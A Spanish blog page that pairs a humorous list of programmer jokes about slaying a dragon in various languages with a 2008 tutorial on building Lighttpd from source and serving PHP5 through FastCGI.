Matlab: Crean un bucle que calcula las trayectorias para lanzar una flecha gigante contra el dragón. El programa funciona perfectamente. Sólo faltan los voluntarios capaces de lanzar la flecha con la fuerza y puntería necesaria. (aquelquesiente, barrapunto)
Programador de videojuegos:Se pasa dos años programando una espada state of the art, con shaders y todo. A la hora de matar al dragón se encuentra con que la mitad de los caballeros no tienen fuerza para mover la espada. Luego alguien programa un parche que revela las escenas de sexo con la princesa y Hillary Clinton le monta un escándalo (rogerdv, en barrapunto).
Perl – El caballero decide matar al dragón con una expresión regular, pero se equivoca en los carácteres de comodín y acaba incluyendo en el patrón de mortalidad a Dragones, Iguanas, lagartos, perros, gatos, osos, princesas y ratones. (emezeta.com)
HyperCard: crea en 5 minutos una pila con un catálogo de armas, con fotos, gráficas y vídeos sobre su utilización y los distintos tipos de dragones que puede matar, y que además fabrica el arma elegida utilizando las herramientas de dibujo, con una interfaz impecable y fantásticos efectos visuales, lo guarda como ejecutable, le pone un bonito icono, pero cuando va a fabricar la espada no funciona porque se dejó un XCMD en casa (Home) (Zydeco, faq-mac)
Macromedia Director: crea una mágnifica interfaz destellante mata dragones, con una espada deslumbrante, fabricada a bases de Xtras de terceros fabricantes, al primer intento de matar al dragon “Script Error”, entonces a duras penas se esquiva el mordisco, y se procede al segundo intento… pero el ejecutable va tan lento que se los come a todos (Victor_js, faq-mac.com)
Mathematica. se crea y modela el objeto logico dragon. se modela y crea igualmente la princesa, la espada, al principe. se modela el caso especial de la articulacion manoespada, y la discontinuidad piel de dragonespada.
Cuando todo esta hecho, se le pide a Matematica que lo resuelva, y el resultado es: “Hay que matar al dragon con la espada, y quedarse con la princesa” (Alf, faq-mac.com).
Visto en: rebotacion.blogspot.com
Leer entradas relacionadas:
Febrero 10th, 2008Instalación de Lighttpd (Pronunciado Lighty)
Descargamos y descomprimimos Lighttpd:
wget http://www.lighttpd.net/download/lighttpd-1.5.0-r1992.tar.gz
tar xvzf lighttpd-1.5.0-r1992.tar.gz
cd lighttpd-1.5.0/
Configuramos:
./configure
make
make install
// Copiamos el directorio de los sources de lighttpd en /usr/src por seguridad, por si necesitamos
desinstalarlo y demás algún día.
cp lighttpd-1.5.0 /usr/src/ -R
Ahora vamos a crear el directorio de configuración si no existe (/etc/lighttpd) y copiar en el el fichero principal de configuración, que se encuentra entre los directorios del código fuente
mkdir /etc/lighttpd
cp doc/lighttpd.conf /etc/lighttpd/
Vamos a editar el fichero lighttpd.conf y ver las partes más importantes.
nano /etc/lighttpd/lighttpd.conf
Módulos del servidor:
Se estrablecen los módulos activos dentro de la directiva server.modules(), de esta forma:
server.modules = (”mod_rewrite”,”mod_alias”,”mod_accesslog”)
De momento utilizaremos solo estos modulos. mod_rewrite para las normas de rewrite, mod_alias para los alias del servidor, mod_access para denegar el acceso a ciertos archivos y mod_accesslog para los log de acceso y error.
Configuración básica del servidor:
server.document-root = “/home/web/htdocs” # Directorio raiz del servidor
server.errorlog = “/var/log/lighttpd/error.log” # Archivo de log de errores
index-file.names = ( “index.phtml”, “index.php” ) # Archivos de índice y su orden.
accesslog.filename = “/var/log/lighttpd/access.log” # Log de acceso del servidor.
url.access-deny = ( “~”, “.inc” ) # Deniega la descarga de los archivos con las extensiones indicadas.
static-file.exclude-extensions = ( “.php”, “.phtml”) # Extensiones que el servidor tratará como dinámicas.
#server.port = 81 # Puerto por defecto. Si está comentado usa el 80
#server.bind = “grisu.home.kneschke.de” # Host del que escuchará peticiones por defecto. Si está comentado acepta todos.
server.error-handler-404 = “/missing.phtml” # Archivo que mostrará cuando se produzca un error 404 (No se encuentra la página)
Para empezar, con estas opciones nos vale.
Importante: Si queremos incluir algun fichero;
include “lighttpd-inc.conf”
El fichero debe estar situado en /etc/lighttpd/
Por último, vamos a configurar nuestro servidor para que funcionen las páginas en php 5. Para ello necesitamos instalar el paquete php5-cgi y activar el módulo “mod_proxy_backend_fastcgi”.
apt-get install php5-cgi
Para que todo funcione aún mejor, añadimos al fichero php.ini de /etc/php5/cgi la siguiente linea:
server.modules = (”mod_rewrite”,”mod_alias”,”mod_accesslog”,”mod_proxy_backend_fastcgi”,”mod_proxy_core”,)
Y ahora configuramos el módulo:
$PHYSICAL["existing-path"] =~ “.php$” {
proxy-core.allow-x-sendfile = “enable”
proxy-core.protocol = “fastcgi”
proxy-core.backends = ( “unix:/tmp/php-fastcgi.sock” )
proxy-core.max-pool-size = 16
}
En nuestro caso, como tambien utilizamos archivos phtml haremos una copia:
$PHYSICAL["existing-path"] =~ “.phtml$” {
proxy-core.allow-x-sendfile = “enable”
proxy-core.protocol = “fastcgi”
proxy-core.backends = ( “unix:/tmp/php-fastcgi.sock” )
proxy-core.max-pool-size = 16
}
*Importante: por último para que se lanzen los procesos php ejecutar desde un script: spawn-fcgi -s /tmp/php-fastcgi.sock -f /usr/bin/php-cgi -u www-data -g www-data -C 5 -P /var/run/spawn-fcgi.pid
Otros detalles “sin importancia”:
modulo rewrite: Son totalmente convertibles las máscaras del rewrite de apache a lighttpd sin demasiado esfuerzo, solo cambia la sintaxis dentro de lighttpd.conf (mejor hacer un include)
más info acerca del rewrite en: http://trac.lighttpd.net/trac/wiki/Docs%3AModRewrite
modulo alias: Creas alias virtuales para poder acceder a directorios que estan fuera del docroot (por ejemplo) o acortar rutas (por ejemplo tambien)
Ejemplo: alias.url = ( “/cgi-bin/” => “”/home/web/htdocs/rg/cgi-bin/” )
Ya tenemos un servidor lighttpd sencillo que soporta procesa php.
Manual gracias a: MiJack
